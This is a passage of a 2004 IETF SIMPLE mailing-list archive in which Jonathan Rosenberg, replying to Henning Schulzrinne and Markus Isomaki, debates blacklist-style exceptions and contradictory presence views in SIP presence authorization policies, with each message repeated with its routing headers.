	for simple@ietf.org; Wed, 24 Mar 2004 03:01:55 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B63K1-0002xs-00
	for simple@ietf.org; Wed, 24 Mar 2004 03:01:10 -0500
Received: from [63.113.44.69] (helo=mail3.dynamicsoft.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B63J9-0002dL-00
	for simple@ietf.org; Wed, 24 Mar 2004 03:00:15 -0500
Received: from dynamicsoft.com ([63.113.46.86])
	by mail3.dynamicsoft.com (8.12.8/8.12.1) with ESMTP id i2O7xpNr023109;
	Wed, 24 Mar 2004 02:59:52 -0500 (EST)
Message-ID: <40613FE8.909@dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
Organization: dynamicsoft
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6) Gecko/20040113
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Henning Schulzrinne <hgs@cs.columbia.edu>
CC: Markus.Isomaki@nokia.com, simple@ietf.org
Subject: supporitng blacklists, was: Re: [Simple] Comments on: First draft
 of text on semantic-based authorization policies [exceptions]
References: <E392EEA75EC5F54AB75229B693B1B6A707E7A3B2@esebe018.ntc.nokia.com> <4060F169.3090306@cs.columbia.edu>
In-Reply-To: <4060F169.3090306@cs.columbia.edu>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 24 Mar 2004 02:59:36 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit

There are a bunch of separable points in these various mails, so I'm
separating responses and changing the subject.

Henning Schulzrinne wrote:

> 
>> 
>> So it is to my understanding impossible for instance to provide 
>> presence to everyone except an enumerated list of identities. This
>> is usually what black-listing means.
> 
> 
> I'm finding it hard to believe that 'everyone in the world except A,
> B and C' is a useful service concept. My concern is that this
> promises privacy to users that may not understand the implications
> (and the uselessness of this). Can you imagine a system that allows
> any random user to obtain presence information?

I agree with Henning. What I really think you want, Markus, is to say
that, "for users within domains where I know that its hard to get new
identities easily, allow anyone except Joe and Bob". I believe thats
what you had in mind when you said:

> While in general this is the case, I don't think it should limit
> _all_ systems, some of which can deal with identities better than the
> Internet at large. Below is an example, beyond block-listing, how
> leaving out exceptions makes things difficult

With my definition above, the existing domain-based exceptions work 
fine. For example, if AOL wants to do black lists, they would do:

<rule>
<conditions>
<identity>
      <domain>aol.com</domain>
      <except>joe</except>
      <except>bob</except>
    </identity>
</conditions>

<actions>
   <accept-subscription/>
</actions>
</rule>

That is, you can use the existing mechanism to enumerate the domains in 
the trusted set which have this property. Today, we only really see 
single provider networks, where you can only subscribe to someone in the 
same domain. That is supported fine by the current mechanism. Of course, 
the standard caveats apply - you really need to understand the way the 
domain hands out identities before you set such a policy.

When we eventually run into networks where there are so many service 
providers amongst this "trusted set" that it becomes difficult to 
enumerate them, we might have a problem, but I think we can cross that 
bridge later.


> 
> I think the concept of 'everybody gets to ask for permission before 
> subscribing except bad guys A, B and C who I've already told to get 
> lost' is useful and might implementable by an appropriate ordering of
>  actions. For example, if you order actions as
> 
> known_reject (highest), permit, ask, dont_bother (lowest, default)
> 
> the right thing happens. However, caveats about file merging apply.

Henning - I dont understand how this is privacy safe. In your ordering, 
there is not a strictly increasing amount of information revealed as the 
values increase.

-Jonathan R.
-- 
Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
Chief Technology Officer                    Parsippany, NJ 07054-2711
dynamicsoft
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
http://www.dynamicsoft.com

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Wed Mar 24 03:10:34 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA03448
	for <simple-archive@odin.ietf.org>; Wed, 24 Mar 2004 03:10:34 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B63Sg-0004c4-9e
	for simple-archive@odin.ietf.org; Wed, 24 Mar 2004 03:10:06 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i2O8A6hF017731
	for simple-archive@odin.ietf.org; Wed, 24 Mar 2004 03:10:06 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B63Sg-0004bu-3G
	for simple-web-archive@optimus.ietf.org; Wed, 24 Mar 2004 03:10:06 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA03428
	for <simple-web-archive@ietf.org>; Wed, 24 Mar 2004 03:10:03 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B63Sc-0004fv-00
	for simple-web-archive@ietf.org; Wed, 24 Mar 2004 03:10:02 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B63Rb-0004V5-00
	for simple-web-archive@ietf.org; Wed, 24 Mar 2004 03:09:00 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B63R0-0004Ks-00; Wed, 24 Mar 2004 03:08:22 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B63Qz-0004C0-T1; Wed, 24 Mar 2004 03:08:21 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B63Kp-0003a7-Fd
	for simple@optimus.ietf.org; Wed, 24 Mar 2004 03:01:59 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA03123
	for <simple@ietf.org>; Wed, 24 Mar 2004 03:01:56 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B63Kl-000385-00
	for simple@ietf.org; Wed, 24 Mar 2004 03:01:55 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B63K1-0002xs-00
	for simple@ietf.org; Wed, 24 Mar 2004 03:01:10 -0500
Received: from [63.113.44.69] (helo=mail3.dynamicsoft.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B63J9-0002dL-00
	for simple@ietf.org; Wed, 24 Mar 2004 03:00:15 -0500
Received: from dynamicsoft.com ([63.113.46.86])
	by mail3.dynamicsoft.com (8.12.8/8.12.1) with ESMTP id i2O7xpNr023109;
	Wed, 24 Mar 2004 02:59:52 -0500 (EST)
Message-ID: <40613FE8.909@dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
Organization: dynamicsoft
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6) Gecko/20040113
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Henning Schulzrinne <hgs@cs.columbia.edu>
CC: Markus.Isomaki@nokia.com, simple@ietf.org
Subject: supporitng blacklists, was: Re: [Simple] Comments on: First draft
 of text on semantic-based authorization policies [exceptions]
References: <E392EEA75EC5F54AB75229B693B1B6A707E7A3B2@esebe018.ntc.nokia.com> <4060F169.3090306@cs.columbia.edu>
In-Reply-To: <4060F169.3090306@cs.columbia.edu>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 24 Mar 2004 02:59:36 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit

There are a bunch of separable points in these various mails, so I'm
separating responses and changing the subject.

Henning Schulzrinne wrote:

> 
>> 
>> So it is to my understanding impossible for instance to provide 
>> presence to everyone except an enumerated list of identities. This
>> is usually what black-listing means.
> 
> 
> I'm finding it hard to believe that 'everyone in the world except A,
> B and C' is a useful service concept. My concern is that this
> promises privacy to users that may not understand the implications
> (and the uselessness of this). Can you imagine a system that allows
> any random user to obtain presence information?

I agree with Henning. What I really think you want, Markus, is to say
that, "for users within domains where I know that its hard to get new
identities easily, allow anyone except Joe and Bob". I believe thats
what you had in mind when you said:

> While in general this is the case, I don't think it should limit
> _all_ systems, some of which can deal with identities better than the
> Internet at large. Below is an example, beyond block-listing, how
> leaving out exceptions makes things difficult

With my definition above, the existing domain-based exceptions work 
fine. For example, if AOL wants to do black lists, they would do:

<rule>
<conditions>
<identity>
      <domain>aol.com</domain>
      <except>joe</except>
      <except>bob</except>
    </identity>
</conditions>

<actions>
   <accept-subscription/>
</actions>
</rule>

That is, you can use the existing mechanism to enumerate the domains in 
the trusted set which have this property. Today, we only really see 
single provider networks, where you can only subscribe to someone in the 
same domain. That is supported fine by the current mechanism. Of course, 
the standard caveats apply - you really need to understand the way the 
domain hands out identities before you set such a policy.

When we eventually run into networks where there are so many service 
providers amongst this "trusted set" that it becomes difficult to 
enumerate them, we might have a problem, but I think we can cross that 
bridge later.


> 
> I think the concept of 'everybody gets to ask for permission before 
> subscribing except bad guys A, B and C who I've already told to get 
> lost' is useful and might implementable by an appropriate ordering of
>  actions. For example, if you order actions as
> 
> known_reject (highest), permit, ask, dont_bother (lowest, default)
> 
> the right thing happens. However, caveats about file merging apply.

Henning - I dont understand how this is privacy safe. In your ordering, 
there is not a strictly increasing amount of information revealed as the 
values increase.

-Jonathan R.
-- 
Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
Chief Technology Officer                    Parsippany, NJ 07054-2711
dynamicsoft
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
http://www.dynamicsoft.com

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Wed Mar 24 03:21:09 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA04135
	for <simple-archive@ietf.org>; Wed, 24 Mar 2004 03:21:09 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B63dM-00079H-00
	for simple-archive@ietf.org; Wed, 24 Mar 2004 03:21:08 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B63cQ-0006tW-00
	for simple-archive@ietf.org; Wed, 24 Mar 2004 03:20:11 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B63bM-0006d5-00; Wed, 24 Mar 2004 03:19:04 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B63bL-0005Yv-GB; Wed, 24 Mar 2004 03:19:03 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B63am-0005OE-9n
	for simple@optimus.ietf.org; Wed, 24 Mar 2004 03:18:28 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA03914
	for <simple@ietf.org>; Wed, 24 Mar 2004 03:18:27 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B63ak-0006Qz-00
	for simple@ietf.org; Wed, 24 Mar 2004 03:18:26 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B63Zq-0006C1-00
	for simple@ietf.org; Wed, 24 Mar 2004 03:17:31 -0500
Received: from [63.113.44.69] (helo=mail3.dynamicsoft.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B63Ym-0005tA-00
	for simple@ietf.org; Wed, 24 Mar 2004 03:16:24 -0500
Received: from dynamicsoft.com ([63.113.46.86])
	by mail3.dynamicsoft.com (8.12.8/8.12.1) with ESMTP id i2O8FtNr023116;
	Wed, 24 Mar 2004 03:15:56 -0500 (EST)
Message-ID: <406143AC.1030304@dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
Organization: dynamicsoft
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6) Gecko/20040113
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Markus.Isomaki@nokia.com
CC: hgs@cs.columbia.edu, simple@ietf.org
Subject: alternative views, was: Re: [Simple] Comments on: First draft of
 text on semantic-based authorization policies [exceptions]
References: <E392EEA75EC5F54AB75229B693B1B6A707E7A3B2@esebe018.ntc.nokia.com>
In-Reply-To: <E392EEA75EC5F54AB75229B693B1B6A707E7A3B2@esebe018.ntc.nokia.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 24 Mar 2004 03:15:40 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit



Markus.Isomaki@nokia.com wrote:
> [Presentity wants to give group "friends" a privileged access to his
> presence information. By default he gives out some information, but
> "friends" should receive a different view of the _same_ information.
> (Note that this is not additive, but we talk about different views,
> for instance showing a _different_ "note".) If exceptions are not
> allowed, "friends" will get the common information in addition to
> what should be given to them, making things confusing at the watcher
> side. (For instance a watcher get 2 tuples with the same Contact,
> having different notes.)] So I believe the main problem is that
> presence information is not always additive, but it can also be
> contradictive! Another huge problem is that there already exists many
> presence systems which have block-lists, and in some cases we would
> like to preserve the UI semantics even when the protocol stack is
> changed to SIP. Now it seems impossible. -> Proposal: Allow
> exceptions in SIMPLE, even though they are not there in the common
> policies.

to which Henning had suggested:
> The note issue ('different information') is a more interesting one.
> We had earlier decided not to support lying, so this seems to refer
> only to free-form fields like 'note'. The problem you note can be
> solved within the framework by an ordering mechanism that associates
> a value with a parameter. That way, the highest ("best") value would
> be picked, but only one, instead of all. I think the easiest would be
> to associate an ordering with 'class' and just have the publisher
> upload different tuples. I don't think it makes sense to use the
> policies to set actual presence values.


and to which Ted had commented:
> My take on this may be colored a bit by GeoPriv, but I don't think 
> this is a very useful change.  For a system that is fundamentally 
> about presence, a view that there is a set of real presence data 
> ("currently typing up a message to simple") that may be reflected in
> various ways ("busy" to a general watcher, "in my office" to my 
> colleagues, "interrupt okay" to my boss) seems to me pretty useful. 
> When I leave for lunch, all can be appropriately updated with 
> relation to the real data ("away" to a general watcher, "temporarily 
> out of office" to my colleagues, "available by cell" to my boss).
> 
> In a much more abstract system describing my characteristics, I could
> see a different view.  For a "favorite record" entry, for example, I
> could see saying "Stunt" to one set of people, "Rhythm of the Saints"
> to another, and "Carcassonne" to a third; these might reflect the
> kind of music I'd like to listen to with those people.  But these are
> relatively long lived entries, and unlikely to need updating on a
> many-times-a-day basis.  For entries which do,  updating each entry
> for each group each time would be painful.  The practical result of
> that is that you would have to define relationships among the groups'
> data sets, so that an update to an entry is reflected correctly in
> the others without having to define what the new value is in each
> set.  Doing that from a "base" set (a.k.a. the real data) seems like
> a useful model, since the application of the rules is cleaner than
> having set 5 depend on set 3 which depends on set 1 (which in the
> worst case depends on set 5 and runs you into real trouble).


I'm with Ted here. I think that the current model - where there is truly 
a "real" presence document, and policies merely define different levels 
of access to that data - is the right one. The problem Markus has 
raised, which is that I might want to have contradictory data sent to 
different watchers, is really a subset of a more general problem, which 
is that presence can contain contradictory information, even if I'm not 
lying. In systems where there are multiple sources of presence, it is 
entirely plausible for the data to be inconsistent. This can be because 
of timing and race conditions (source A found out about inavailability a 
few minutes before source B), because of differing interpretations of 
the same data by different sources, etc.

So, if you buy the argument that presence data can be inconsistent, the 
question is, who is best suited to sort out that inaccuracy. The class 
ordering mecahnism Henning proposes is based on the assumption that its 
the job of the presence agent to sort it out. However, I think that, in 
the general case, this goal is unachievable. We already have identified 
the note as one case where the PA can never sort out inconsistencies 
because they are interpretable only by people. There are many other 
cases too. What if my calendar app says I'm in the office today, but my 
cell phone reports I'm in a different state? How can the PA sort that 
out? It can't.

So, I would propose that it is a WATCHER problem to sort out any 
inconsistent data. The human has to interpret the data best they can, 
based on whatever context they have. For example, my boss might see my 
presence as "in the office and in a different state", and say to himself 
- "oh right, Jonathan took that last minute trip today, so he probably 
forgot to cancel that meeting, and he is likely out of state".

So, given that, I'm not sure I want to go down the path of specifying 
this well-defined ordering for data to sort out inconsistencies on the 
PA side.

"Lying" would be achieved by publishing inconsistent tuples, and then 
defining rules which give one set to one class of watchers, and the 
other set to a different class. If someone happens to get both, then its 
their job to sort it out.

-Jonathan R.

-- 
Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
Chief Technology Officer                    Parsippany, NJ 07054-2711
dynamicsoft
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
http://www.dynamicsoft.com

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Wed Mar 24 03:21:40 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA04219
	for <simple-archive@odin.ietf.org>; Wed, 24 Mar 2004 03:21:40 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B63dP-0005mT-Gj
	for simple-archive@odin.ietf.org; Wed, 24 Mar 2004 03:21:11 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i2O8LBoc022220
	for simple-archive@odin.ietf.org; Wed, 24 Mar 2004 03:21:11 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B63dP-0005mJ-C9
	for simple-web-archive@optimus.ietf.org; Wed, 24 Mar 2004 03:21:11 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA04153
	for <simple-web-archive@ietf.org>; Wed, 24 Mar 2004 03:21:09 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B63dN-00079L-00
	for simple-web-archive@ietf.org; Wed, 24 Mar 2004 03:21:09 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B63cR-0006td-00
	for simple-web-archive@ietf.org; Wed, 24 Mar 2004 03:20:12 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B63bM-0006d5-00; Wed, 24 Mar 2004 03:19:04 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B63bL-0005Yv-GB; Wed, 24 Mar 2004 03:19:03 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B63am-0005OE-9n
	for simple@optimus.ietf.org; Wed, 24 Mar 2004 03:18:28 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA03914
	for <simple@ietf.org>; Wed, 24 Mar 2004 03:18:27 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B63ak-0006Qz-00
	for simple@ietf.org; Wed, 24 Mar 2004 03:18:26 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B63Zq-0006C1-00
	for simple@ietf.org; Wed, 24 Mar 2004 03:17:31 -0500
Received: from [63.113.44.69] (helo=mail3.dynamicsoft.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B63Ym-0005tA-00
	for simple@ietf.org; Wed, 24 Mar 2004 03:16:24 -0500
Received: from dynamicsoft.com ([63.113.46.86])
	by mail3.dynamicsoft.com (8.12.8/8.12.1) with ESMTP id i2O8FtNr023116;
	Wed, 24 Mar 2004 03:15:56 -0500 (EST)
Message-ID: <406143AC.1030304@dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
Organization: dynamicsoft
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6) Gecko/20040113
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Markus.Isomaki@nokia.com
CC: hgs@cs.columbia.edu, simple@ietf.org
Subject: alternative views, was: Re: [Simple] Comments on: First draft of
 text on semantic-based authorization policies [exceptions]
References: <E392EEA75EC5F54AB75229B693B1B6A707E7A3B2@esebe018.ntc.nokia.com>
In-Reply-To: <E392EEA75EC5F54AB75229B693B1B6A707E7A3B2@esebe018.ntc.nokia.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 24 Mar 2004 03:15:40 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit



Markus.Isomaki@nokia.com wrote:
> [Presentity wants to give group "friends" a privileged access to his
> presence information. By default he gives out some information, but
> "friends" should receive a different view of the _same_ information.
> (Note that this is not additive, but we talk about different views,
> for instance showing a _different_ "note".) If exceptions are not
> allowed, "friends" will get the common information in addition to
> what should be given to them, making things confusing at the watcher
> side. (For instance a watcher get 2 tuples with the same Contact,
> having different notes.)] So I believe the main problem is that
> presence information is not always additive, but it can also be
> contradictive! Another huge problem is that there already exists many
> presence systems which have block-lists, and in some cases we would
> like to preserve the UI semantics even when the protocol stack is
> changed to SIP. Now it seems impossible. -> Proposal: Allow
> exceptions in SIMPLE, even though they are not there in the common
> policies.

to which Henning had suggested:
> The note issue ('different information') is a more interesting one.
> We had earlier decided not to support lying, so this seems to refer
> only to free-form fields like 'note'. The problem you note can be
> solved within the framework by an ordering mechanism that associates
> a value with a parameter. That way, the highest ("best") value would
> be picked, but only one, instead of all. I think the easiest would be
> to associate an ordering with 'class' and just have the publisher
> upload different tuples. I don't think it makes sense to use the
> policies to set actual presence values.


and to which Ted had commented:
> My take on this may be colored a bit by GeoPriv, but I don't think 
> this is a very useful change.  For a system that is fundamentally 
> about presence, a view that there is a set of real presence data 
> ("currently typing up a message to simple") that may be reflected in
> various ways ("busy" to a general watcher, "in my office" to my 
> colleagues, "interrupt okay" to my boss) seems to me pretty useful. 
> When I leave for lunch, all can be appropriately updated with 
> relation to the real data ("away" to a general watcher, "temporarily 
> out of office" to my colleagues, "available by cell" to my boss).
> 
> In a much more abstract system describing my characteristics, I could
> see a different view.  For a "favorite record" entry, for example, I
> could see saying "Stunt" to one set of people, "Rhythm of the Saints"
> to another, and "Carcassonne" to a third; these might reflect the
> kind of music I'd like to listen to with those people.  But these are
> relatively long lived entries, and unlikely to need updating on a
> many-times-a-day basis.  For entries which do,  updating each entry
> for each group each time would be painful.  The practical result of
> that is that you would have to define relationships among the groups'
> data sets, so that an update to an entry is reflected correctly in
> the others without having to define what the new value is in each
> set.  Doing that from a "base" set (a.k.a. the real data) seems like
> a useful model, since the application of the rules is cleaner than
> having set 5 depend on set 3 which depends on set 1 (which in the
> worst case depends on set 5 and runs you into real trouble).


I'm with Ted here. I think that the current model - where there is truly 
a "real" presence document, and policies merely define different levels 
of access to that data - is the right one. The problem Markus has 
raised, which is that I might want to have contradictory data sent to 
different watchers, is really a subset of a more general problem, which 
is that presence can contain contradictory information, even if I'm not 
lying. In systems where there are multiple sources of presence, it is 
entirely plausible for the data to be inconsistent. This can be because 
of timing and race conditions (source A found out about inavailability a 
few minutes before source B), because of differing interpretations of 
the same data by different sources, etc.

So, if you buy the argument that presence data can be inconsistent, the 
question is, who is best suited to sort out that inaccuracy. The class 
ordering mecahnism Henning proposes is based on the assumption that its 
the job of the presence agent to sort it out. However, I think that, in 
the general case, this goal is unachievable. We already have identified 
the note as one case where the PA can never sort out inconsistencies 
because they are interpretable only by people. There are many other 
cases too. What if my calendar app says I'm in the office today, but my 
cell phone reports I'm in a different state? How can the PA sort that 
out? It can't.

So, I would propose that it is a WATCHER problem to sort out any 
inconsistent data. The human has to interpret the data best they can, 
based on whatever context they have. For example, my boss might see my 
presence as "in the office and in a different state", and say to himself 
- "oh right, Jonathan took that last minute trip today, so he probably 
forgot to cancel that meeting, and he is likely out of state".

So, given that, I'm not sure I want to go down the path of specifying 
this well-defined ordering for data to sort out inconsistencies on the 
PA side.

"Lying" would be achieved by publishing inconsistent tuples, and then 
defining rules which give one set to one class of watchers, and the 
other set to a different class. If someone happens to get both, then its 
their job to sort it out.

-Jonathan R.

-- 
Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
Chief Technology Officer                    Parsippany, NJ 07054-2711
dynamicsoft
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
http://www.dynamicsoft.com

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Wed Mar 24 03:33:02 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA04908
	for <simple-archive@ietf.org>; Wed, 24 Mar 2004 03:33:01 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B63or-0001y6-00
	for simple-archive@ietf.org; Wed, 24 Mar 2004 03:33:01 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B63ns-0001lu-00
	for simple-archive@ietf.org; Wed, 24 Mar 2004 03:32:01 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B63mw-0001ao-00; Wed, 24 Mar 2004 03:31:02 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B63mv-0006Pj-7b; Wed, 24 Mar 2004 03:31:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B63m0-0006Iv-Q3
	for simple@optimus.ietf.org; Wed, 24 Mar 2004 03:30:04 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
